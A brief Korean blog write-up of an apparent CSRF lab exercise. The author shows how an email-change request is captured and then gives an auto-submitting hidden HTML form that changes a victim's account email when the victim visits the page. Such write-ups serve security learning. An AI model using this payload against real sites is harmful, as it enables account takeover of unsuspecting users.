728x90
이번 문제는 이메일 변경 기능에 CSRF 취약점이 존재하고 피해자에게 HTML을 노출시켜 이메일 변경 공격을 수행한다.
우선 기본으로 제공된 계정에 로그인하면 이메일 변경하는 공간이 나오는데 여기서 자유롭게 이메일을 변경할 수 있다.
임의의 이메일 값을 넣고 패킷을 탈취해 보면 POST형식으로 email값이 전송되는 걸 볼 수 있다.
이를 이용해 form태그를 작성해보면
<form method="post" action="공격할 URL/my-account/change-email">
<input type="hidden" name="email" value="내가 변경하고 싶은 email">
</form>
<script>
document.forms[0].submit();
</script>
form태그 안에 내가 바꾸고 싶은 email값을 input태그로 작성하고 script태그로 전송하는 방식이다.
이러한 코드를 전송하면 피해자가 이 코드가 적힌 페이지에 접속하는 순간 form태그가 전송되면서 email이 변경되게 된다.
확인을 위해 직접 접속해 보면
내가 입력한 email값으로 패킷이 전송되고
email 변경 페이지로 이동되며 변경된 걸 확인할 수 있다.
728x90